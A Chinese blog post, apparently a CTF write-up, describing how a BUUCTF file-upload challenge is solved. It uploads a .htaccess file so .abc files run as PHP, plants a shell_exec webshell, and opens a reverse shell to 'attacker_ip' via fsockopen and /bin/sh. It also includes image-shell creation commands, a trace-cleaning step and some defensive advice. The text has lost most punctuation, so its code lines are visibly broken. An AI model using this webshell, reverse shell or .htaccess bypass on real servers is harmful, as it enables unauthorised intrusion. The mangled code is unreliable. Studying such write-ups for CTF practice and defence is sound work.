从‘你传你[特殊字符]呢’到拿下Flag:BUUCTF文件上传靶场实战复盘(含.htaccess绕过技巧)

发布时间:2026/5/28 4:22:08

从‘你传你[特殊字符]呢’到拿下Flag:BUUCTF文件上传靶场实战复盘(含.htaccess绕过技巧) 从困惑到突破BUUCTF文件上传靶场深度实战解析第一次看到这个靶场题目时我忍不住笑出了声——你传你呢这种命名方式在CTF比赛中确实少见。但很快笑容就凝固在了脸上因为上传一个普通图片文件居然直接报错了。这种开局即卡住的体验相信很多CTF新手都深有体会。本文将详细记录我从完全摸不着头脑到最终拿下Flag的全过程特别聚焦于.htaccess文件的巧妙应用和disable_function环境下的应对策略。1. 初探靶场环境与基础限制分析靶场界面极为简洁只有一个文件上传表单。我的第一反应是上传一个普通的PNG图片进行测试没想到直接返回了错误提示。经过多次尝试和对比其他选手的Writeup终于发现了问题所在——文件大小限制。这里有几个关键发现点服务器对上传文件的大小有严格限制后来测试发现上限约10KB即使符合大小的图片也可能因MIME类型不正确被拒绝必须同时满足小体积正确MIME类型才能通过基础验证常见图片格式的MIME类型对照表文件类型正确MIME类型常见错误MIMEJPEGimage/jpegimage/jpgPNGimage/pngimage/x-pngGIFimage/gifapplication/octet-stream提示现代浏览器通常会正确设置MIME类型但用Burp Suite等工具手动测试时需特别注意此项2. 突破文件类型黑名单限制当成功上传普通图片后接下来自然要尝试上传PHP webshell。但很快发现所有ph开头的后缀都被禁止如.php, .php3, .php5等常见的截断绕过%00, 空格等在Linux环境下无效服务器配置不允许.user.ini文件生效此时常规思路是使用图片马文件包含漏洞但目标系统恰巧没有文件包含点。这就是为什么.htaccess文件成为关键突破口。3. .htaccess文件的魔法应用Apache服务器的.htaccess文件是一个分布式配置文件能够覆盖主服务器的配置。在这个靶场中我们可以利用它实现两个重要功能将特定文件类型当作PHP解析自定义上传目录的执行权限生效的.htaccess文件内容示例AddType application/x-httpd-php .abc SetHandler application/x-httpd-php这段配置意味着任何扩展名为.abc的文件都会被当作PHP执行即使上传的是图片马只要重命名为.abc后缀就能获得代码执行能力实际操作步骤先上传包含上述内容的.htaccess文件需确保MIME类型为text/plain然后上传图片马保存为shell.abc访问shell.abc即可触发代码执行注意某些服务器可能会限制.htaccess的覆盖能力需要实际测试确认4. 突破disable_function限制的技巧成功执行PHP代码只是第一步很快发现系统禁用了大多数危险函数// 典型被禁用的函数列表 system, exec, passthru, shell_exec, popen, proc_open,...在这种情况下我们需要使用替代方案获取完整Shell方案一Webshell连接// 简易webshell示例 $cmd $_GET[cmd]; echo pre.shell_exec($cmd)./pre;方案二PHP内置函数迂回// 使用未被禁用的函数读取文件 highlight_file(/flag); // 或者目录遍历 print_r(scandir(/));方案三反弹Shell构造// 使用fsockopen实现反弹Shell $sock fsockopen(attacker_ip, port); exec(/bin/sh -i 3 3 23);在实际操作中我最终采用了方案一和方案三的组合先确认flag位置再建立稳定连接进行深度探索。5. 完整攻击链的实战复盘让我们梳理整个渗透流程的关键节点信息收集阶段确认文件上传功能的存在测试基础限制大小、类型、扩展名限制突破阶段绕过MIME类型检测使用.htaccess文件覆盖解析规则制作符合要求的图片马权限提升阶段绕过disable_function限制定位flag文件位置获取完整系统访问权限后渗透阶段清理痕迹删除上传文件记录完整攻击路径典型图片马制作命令# 使用copy命令合并图片与webshellWindows copy normal.jpg /b shell.php /a target.jpg # 使用cat命令合并Linux cat image.jpg shell.php final.jpg6. 防御视角的思考与建议站在防守方角度如何防范此类攻击以下是一些实用建议输入验证多层化文件内容检测而不仅是扩展名使用文件头签名验证真实类型服务器配置加固限制.htaccess文件的覆盖能力上传目录设置为不可执行权限最小化原则上传文件重命名避免用户控制扩展名存储在非Web可访问目录日志监控记录所有上传行为监控异常解析请求在一次真实渗透测试中我发现目标网站虽然限制了文件上传类型但由于未禁用.htaccess覆盖导致可以通过类似手法获取服务器权限。这提醒我们安全防护需要全面考虑各个环节。7. 延伸学习与资源推荐想要深入掌握文件上传漏洞建议从以下几个方向继续探索不同服务器环境的差异Apache与Nginx的解析差异IIS特有的解析特性如PUT方法利用高级绕过技巧条件竞争漏洞利用二次渲染绕过特殊字符截断技术防御技术研究WAF规则分析与绕过机器学习检测恶意文件推荐几个实用资源OWASP文件上传防护指南《Web Application Hackers Handbook》相关章节CTF比赛中经典文件上传题目合集在最近参加的另外几场CTF比赛中我发现文件上传类题目往往会结合其他漏洞形成连锁攻击链。比如先通过文件上传获取有限权限再结合XXE或反序列化漏洞提升至root权限。这种多阶段攻击方式在实际渗透测试中也非常常见。

相关新闻